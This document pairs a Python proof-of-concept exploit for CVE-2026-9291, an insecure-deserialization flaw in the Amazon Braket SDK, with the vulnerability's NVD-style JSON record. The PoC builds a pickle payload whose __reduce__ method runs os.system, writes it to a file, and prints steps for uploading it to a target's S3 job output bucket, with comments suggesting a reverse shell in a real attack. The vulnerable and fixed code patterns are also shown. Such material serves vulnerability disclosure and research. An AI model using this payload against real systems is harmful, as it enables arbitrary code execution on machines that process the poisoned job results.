CVE-2026-9291

# CVE-2026-9291 PoC - Malicious serialized payload generator # This PoC demonstrates the insecure deserialization vulnerability in Amazon Braket SDK import pickle import os class MaliciousPayload: """ Malicious class that executes arbitrary code during deserialization. In real attack, this would be crafted to execute reverse shell or other malicious commands. """ def __reduce__(self): # Replace with actual malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) # Generate malicious serialized object malicious_obj = MaliciousPayload() serialized_payload = pickle.dumps(malicious_obj) # Save to file (in real attack, upload to S3 job output bucket) with open('malicious_job_result.pkl', 'wb') as f: f.write(serialized_payload) print("[+] Malicious payload generated: malicious_job_result.pkl") print("[+] Upload this file to the target's S3 job output bucket") print("[+] When Braket SDK processes this result, arbitrary code will execute") # Vulnerable code pattern (simplified): # import pickle # result_data = s3_client.get_object(Bucket=bucket, Key=key) # job_result = pickle.loads(result_data['Body'].read()) # VULNERABLE! # Fixed code pattern: # from braket.jobs.utils import validate_result # job_result = validate_result(result_data) # SAFE - uses secure deserialization

{"cve": {"id": "CVE-2026-9291", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-05-22T19:17:05.340", "lastModified": "2026-05-22T20:31:54.743", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insecure deserialization in the job results processing component in Amazon Braket SDK before 1.117.0 might allow a remote authenticated user with S3 write access to the job output bucket to achieve arbitrary code execution on any machine that processes job results.\n\n\n\nWe recommend you upgrade to amazon-braket-sdk version 1.117.0 or later."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-036-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/amazon-braket/amazon-braket-sdk-python/releases/tag/v1.117.0", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/amazon-braket/amazon-braket-sdk-python/security/advisories/GHSA-g697-2xrc-gc46", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}